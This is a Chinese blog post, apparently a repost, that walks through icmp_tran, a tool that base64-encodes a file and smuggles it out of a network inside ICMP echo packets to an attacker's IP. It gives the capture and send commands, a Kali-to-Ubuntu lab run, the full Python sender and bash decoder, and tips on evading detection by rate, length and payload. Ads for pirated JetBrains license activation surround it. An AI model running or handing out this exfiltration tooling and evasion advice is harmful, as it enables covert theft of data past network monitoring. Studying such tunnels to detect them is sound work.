内网穿透 隧道_ping隧道

内网穿透 隧道_ping隧道本文研究ICMP隧道的一个工具,icmp_tran

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE稳定放心使用

前言

本文研究ICMP隧道的一个工具,icmp_tran

github:github.com/NotSoSecure/icmp_tunnel_ex_filtrate

一、概述

1、简介

最后更新于2015年,用Python编写,将文件base64编码后,通过ICMP包传输

条件:

  • 目标机可以ping出去
  • 目标机管理员权限

2、原理

ICMP隧道原理参见:内网渗透系列:内网隧道之ICMP隧道

3、使用

(1)服务端

tucpdump监听并下载文件

sudo tcpdump -i eth0 icmp and icmp[icmptype]=icmp-echo -XX -vvv -w output.txt

运行sh脚本

./tran.sh

(2)客户端

windows

icmp_tran.exe <file> <attacker-IP>

linux

sudo python icmp_tran.py <file> <attacker-IP>

二、实践

1、场景

攻击机(服务端):kali 192.168.10.128
目标机(客户端):ubuntu 192.168.10.129

目标机可以ping通攻击机
在这里插入图片描述

2、建立隧道

(1)攻击机监听

tucpdump监听并下载文件

sudo tcpdump -i eth0 icmp and icmp[icmptype]=icmp-echo -XX -vvv -w output.txt

(2)目标机发送

准备一个test.zip文件
在这里插入图片描述
建立隧道发送

sudo python icmp_tran.py test.zip 192.168.10.128

(3)攻击机转换

收到文件
在这里插入图片描述
进行转换
在这里插入图片描述

成功得到zip文件
在这里插入图片描述

3、抓包看看

可以看到都是ICMP包,data里是base64编码
在这里插入图片描述

三、探索

1、源码与分析

(1)icmp_tran.py

#!/usr/bin/env python2
# -*- coding: utf-8 -*-

import time
import socket
import struct
import select
import random
import asyncore
import os
import sys

ICMP_ECHO_REQUEST = 8 
TIME_OUT = 1 #时长视情况而定

ICMP_CODE = socket.getprotobyname('icmp')
ERROR_DESCR = { 
   
    1: ' - Note that ICMP messages can only be sent from processes running as root.',
    10013: ' - Note that ICMP messages can only be sent by users or processes with administrator rights.'
    }

__all__ = ['create_packet', 'send_packet', 'verbose_ping', 'PingQuery', 'multi_ping_query']


def checksum(source_string):
    sum = 0
    count_to = (len(source_string) / 2) * 2
    count = 0
    while count < count_to:
        this_val = ord(source_string[count + 1])*256+ord(source_string[count])
        sum = sum + this_val
        sum = sum & 0xffffffff
        count = count + 2
    if count_to < len(source_string):
        sum = sum + ord(source_string[len(source_string) - 1])
        sum = sum & 0xffffffff
    sum = (sum >> 16) + (sum & 0xffff)
    sum = sum + (sum >> 16)
    answer = ~sum
    answer = answer & 0xffff
    answer = answer >> 8 | (answer << 8 & 0xff00)
    return answer
	
def create_packet(id):
    """构建一个echo request packet"""
    # header的构造是type (8), code (8), checksum (16), id (16), sequence (16)
    header = struct.pack('bbHHh', ICMP_ECHO_REQUEST, 0, 0, id, 1)
    data = "$$START$$"+line
    my_checksum = checksum(header + data)
    header = struct.pack('bbHHh', ICMP_ECHO_REQUEST, 0, socket.htons(my_checksum), id, 1)
    return header + data

def send_packet(dest_addr, timeout=TIME_OUT):
    # 确认能发送
    try:
        my_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, ICMP_CODE)
    except socket.error as e:
        if e.errno in ERROR_DESCR: # 不是高权限
            raise socket.error(''.join((e.args[1], ERROR_DESCR[e.errno])))
        raise 
    try:
        host = socket.gethostbyname(dest_addr) # host
    except socket.gaierror:
        return
    # 创建packet
    packet_id = int((id(timeout) * random.random()) % 65535)
    packet = create_packet(packet_id)
    # 发送packet
    while packet:
        sent = my_socket.sendto(packet, (dest_addr, 1))
        packet = packet[sent:]
    delay = receive_packet(my_socket, packet_id, time.time(), timeout)
    my_socket.close()
    return delay


def receive_packet(my_socket, packet_id, time_sent, timeout):
    time_left = timeout
    while True:
        ready = select.select([my_socket], [], [], time_left)
        if ready[0] == []: # Timeout
            return
        time_received = time.time()
        rec_packet, addr = my_socket.recvfrom(1024)
        icmp_header = rec_packet[20:28]
        type, code, checksum, p_id, sequence = struct.unpack('bbHHh', icmp_header)
        if p_id == packet_id:
            return time_received - time_sent
        time_left -= time_received - time_sent
        if time_left <= 0:
            return


def verbose_ping(dest_addr, timeout=2*TIME_OUT, count=1):
    for i in range(count):
        print('ping {}...'.format(dest_addr))
        delay = send_packet(dest_addr, timeout)
        if delay == None:
            print('failed. (Timeout within {} seconds.)'.format(timeout))
        else:
            delay = round(delay * 1000.0, 4)
            print('get ping in {} milliseconds.'.format(delay))
    print('')


class PingQuery(asyncore.dispatcher):
    def __init__(self, host, p_id, timeout=0.5, ignore_errors=False):
        asyncore.dispatcher.__init__(self)
        try:
            self.create_socket(socket.AF_INET, socket.SOCK_RAW, ICMP_CODE)
        except socket.error as e:
            if e.errno in ERROR_DESCR:
                raise socket.error(''.join((e.args[1], ERROR_DESCR[e.errno])))
            raise 
        self.time_received = 0
        self.time_sent = 0
        self.timeout = timeout
        self.packet_id = int((id(timeout) / p_id) % 65535)
        self.host = host
        self.packet = create_packet(self.packet_id)
        if ignore_errors:
            self.handle_error = self.do_not_handle_errors
            self.handle_expt = self.do_not_handle_errors

    def writable(self):
        return self.time_sent == 0

    def handle_write(self):
        self.time_sent = time.time()
        while self.packet:
            sent = self.sendto(self.packet, (self.host, 1))
            self.packet = self.packet[sent:]

    def readable(self):
        if (not self.writable()
            and self.timeout < (time.time() - self.time_sent)):
            self.close()
            return False
        return not self.writable()

    def handle_read(self):
        read_time = time.time()
        packet, addr = self.recvfrom(1024)
        header = packet[20:28]
        type, code, checksum, p_id, sequence = struct.unpack("bbHHh", header)
        if p_id == self.packet_id:
            self.time_received = read_time
            self.close()

    def get_result(self):
        if self.time_received > 0:
            return self.time_received - self.time_sent

    def get_host(self):
        return self.host

    def do_not_handle_errors(self):
        pass

    def create_socket(self, family, type, proto):
        sock = socket.socket(family, type, proto)
        sock.setblocking(0)
        self.set_socket(sock)
        self.family_and_type = family, type

    def handle_connect(self):
        pass

    def handle_accept(self):
        pass

    def handle_close(self):
        self.close()


def multi_ping_query(hosts, timeout=TIME_OUT, step=512, ignore_errors=False):
    results, host_list, id = { 
   }, [], 0
    for host in hosts:
        try:
            host_list.append(socket.gethostbyname(host))
        except socket.gaierror:
            results[host] = None
    while host_list:
        sock_list = []
        for ip in host_list[:step]: #step最多是512
            id += 1
            sock_list.append(PingQuery(ip, id, timeout, ignore_errors))
            host_list.remove(ip)
        asyncore.loop(timeout)
        for sock in sock_list:
            results[sock.get_host()] = sock.get_result()
    return results


if __name__ == '__main__':
    msg = 'missing mandatory options. Execute as root:\n'
    msg += './icmpsh-m.py <source IP address> <destination IP address>\n'
    print(msg)
	file=sys.argv[1]
	destination = sys.argv[2]
	# os.system("certutil -encode "+ file +" test.txt") # windows
    os.system("base64 "+ file +" > test.txt") # linux
	f=open("test.txt", "r")
	for line in f:	
		text1= line[0:32]
		verbose_ping(destination)
		host_list = [destination]
		for host, ping in multi_ping_query(host_list).iteritems():
			print(host, '=', ping)

(2)tran.sh

就是base64解码得到文件

#!/bin/bash

strings output.txt >> output1.txt
echo "[+] parsing the output.txt file"
grep -i start output1.txt | uniq >> transmitted.txt
sed -i -e 's/\$\$START\$\$//g' transmitted.txt
echo "[+] cleaning"
rm output1.txt
rm output.txt
echo "[+] tranmistted.txt created"
cat transmitted.txt |base64 -d >>test
echo "[+] file test created"

2、检测与绕过

(1)异常ICMP数据包数量

0.01s内10个包,当然这是没有做相关策略,可以改为和ping一样的间隔,主要是这是传个文件就结束了,所以maybe可以天下武功唯快不破,视情况而定
在这里插入图片描述

(2)异常ICMP包长度

已经做了拆分

(3)payload内容

payload内容这个还是没办法避免的事情

正常ping命令:

windows系统下ping默认传输的是:abcdefghijklmnopqrstuvwabcdefghi,共32bytes
linux系统下,ping默认传输的是48bytes,前8bytes随时间变化,后面的固定不变,内容为!#$%&’()+,-./01234567

内容肯定还是与正常ping命令不同
不过send和receive的内容相同

结语

简单试下怎么传文件

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/180522.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • filetype all java试卷_java认证考试试题及答案

    filetype all java试卷_java认证考试试题及答案java认证考试试题及答案故答案为C。12.Whatistheresultafterthefollowingcodeexecutes?1shorts=0x00FD;2byteb=(byte)s;3System.out.println(b);Select1correctanswer:A.Compiletimeerrorinline1B.Comp…

  • 你尚未连接代理服务器可能有问题或地址不正确(如何查看代理服务器ip)

    在进行一下操作室不需保证你的网线是接通的(你的右下角应该显示的是,而不是)当你的电脑显示:“无法连接到安全检查代理服务器,本地IP地址非法”,解决办法分一下几步:第一步:先检查你的ARP防火墙配置的是否正确,如果正确,进行下一步;第二部:检查你的IP地址和默认网关是否正确,无误后,进行下一步;第三部:检查你的无线网卡是否禁用了,如果禁用了,进行下一步;第四部:在DOS命令中输入

  • quota命令详细拓展使用方法,RHEL 7中quota命令搭载方法!磁盘容量配额!

    磁盘容量配额Linux系统的设计初衷就是让许多人一起使用并执行各自的任务,从而成为多用户、多任务的操作系统。但是,硬件资源是固定且有限的,如果某些用户不断地在Linux系统上创建文件或者存放电影,硬盘空间总有一天会被占满。针对这种情况,root管理员就需要使用磁盘容量配额服务来限制某位用户或某个用户组针对特定文件夹可以使用的最大硬盘空间或最大文件个数,一旦达到这个最大值就不再允许继续使用。可以使用quota命令进行磁盘容量配额管理,从而限制用户的硬盘可用容量或所能创建的最大文件个数。quota命令还有软限

  • 空间流介绍[通俗易懂]

    空间流介绍[通俗易懂]stream是802.11n中的空间流的意思,11n协议中最高支持4空间流。11n协议物理层最核心的技术就是MIMO技术,一般AP设备MIMO都后注1×1,2×2,2×3,3×3等,这两个数字前面一个数字式11nAP的发射天线数量,后面一个数字是11nAP的接受天线数量。11n中所谓的空间流实际就是MIMO空间复用支持的多根天线独立地并行发送由单独编码的信号组成的不同的数据流。无线复用的空间流的数量取决于发射天线的数量。你可以这样简单理解,由于11nAP有多个发射天线,形成多个发射物理信道,与以前的WLA

  • HDLBits答案(12)_Verilog移位寄存器「建议收藏」

    HDLBits答案(12)_Verilog移位寄存器「建议收藏」Verilog移位寄存器HDLBits链接前言今天更新一节寄存器相关内容,其中涉及CRC校验的内容是用线性反馈移位寄存器搭建而成的。题库题目描述1:构建一个4bit的移位寄存器(右移),含异步复位、同步加载和使能areset:让寄存器复位为0load:加载4bit数据到移位寄存器中,不移位ena:使能右移q:移位寄存器中的内容Solution1:moduletop_module(inputclk,inputareset,//asyncacti

  • 自定义单选框样式方法

    自定义单选框样式方法元素的初始样式都不怎么好看,我们一般修改样式会想到直接在那元素上添加样式,比如background、border等,在大多数元素上是可以这么做,但当遇上了单选框会毫无反应。例:&amp;lt;!DOCTYPEhtml&amp;gt;&amp;lt;htmllang=&quot;en&quot;&amp;gt;&amp;lt;head&amp;gt;&amp;lt;metacharset=&quot;UTF

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号